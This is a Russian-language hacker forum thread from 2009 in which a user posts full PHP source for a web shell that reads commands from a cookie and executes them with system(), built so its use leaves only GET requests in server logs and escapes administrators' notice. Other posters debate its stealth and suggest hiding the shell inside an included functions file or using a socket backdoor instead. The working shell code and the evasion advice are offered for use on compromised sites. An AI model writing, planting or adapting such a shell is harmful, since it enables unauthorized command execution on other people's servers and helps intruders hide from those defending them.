веб-шелл, работающий через $_COOKIE

Discussion in 'PHP' started by Goudini, 24 Jun 2009.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    В один момент я задумался о том что во время использования какого-либо веб-шелла в логах сохраняються последовательные POST запросы к одному и тому же файлу, что может кидатся в глаза при анализе логов администраторами.

    Я подумал почему бы не заменить передачу через POST на COOKIES. Реализацию подобного мне не приходилось наблюдать.

    Вот и набросал небольшой веб-шелл, который в логах оставляет GET записи. Для работы должно быть разрешено использование cookies и Javascript.

    cookie-shell.php
    PHP:
    <?php
        
    @set_time_limit(0);
        
    $cmd $_COOKIE['cmd'] ? $_COOKIE['cmd']: 'ls -la';
    ?>
    <html>
    <head><title>Cookies web-shell PoC</title></head>
    <body>
    <script type="text/javascript">
        function send(val)
        {
            document.cookie = "cmd="+val;
            location.reload();
        }
    </script>
    <form>
        <input type="text" id="cmd" value="<?=$cmd?>"/>
        <input type="submit" onclick="send(document.getElementById('cmd').value)" value="execute"/>
    </form>
    <pre>
    <?php
        ob_start
    ();
        
    system($cmd);
        
    $res ob_get_contents();
        
    ob_end_clean();
        echo 
    htmlspecialchars($res);
    ?>
    </pre>
    </body>
    </html>
    [​IMG]

    После использования скрипта в логах останется примерно такое:
    Code:
    127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 455 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
    127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
    127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
    127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "[B]GET /cookie-shell.php[/B] HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
    Интересует Ваше мнение по практическому использованию даного метода.
     
    3 people like this.
  2. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    а последовательные гет записи к неизвестному файлу подозрения не вызовут?
     
  3. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Sharky +1
    тоже подумал
     
  4. en4cer

    en4cer Elder - Старейшина

    Joined:
    10 Feb 2006
    Messages:
    80
    Likes Received:
    5
    Reputations:
    0
    АррЪ! Забивать шелл в файл c functions или т.е =) и потом подгружать шелл уже с любой страницы которая инклудит этот файл :) вЭлосипед ё-маё =)
     
  5. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Расскажите в чем прикол
     
    1 person likes this.
  6. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Даа, чо-то ты не туда завернул) Запросы то все равно идут...
     
  7. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    ну дык Тот же Madshell какбе POSTами шлет(никаких параметров), да и другие тоже.

    Топикстартер сам себе противоречит.

    Его шелл точно также оставляет последовательные GET запросы к одному и тому же файлу.

    Это просто попытка перепрыгнуть свою голову, имхо.
     
  8. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    А при POST видно?
     
  9. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    m0Hze понял тему. Ведь например при обычном использовании форума или CMS намного больше остаётся GET запросов чем POST...
     
  10. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Тогда уж лучше на сокетах минитроянчег или бекдор =)
     
  11. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Идея хорошая и правильная. Кстати, года 4-5 назад подобный веб-шелл (передающий команды через кукисы) уже релизил кто-то (никак не могу вспомнить кто это был), но тогда как-то никто не оценил этой идеи, а затем уже пошла мода переделывать все шеллы, чтоб юзали POST вместо GET'a, чтоб было "меньше палева" в логах. :)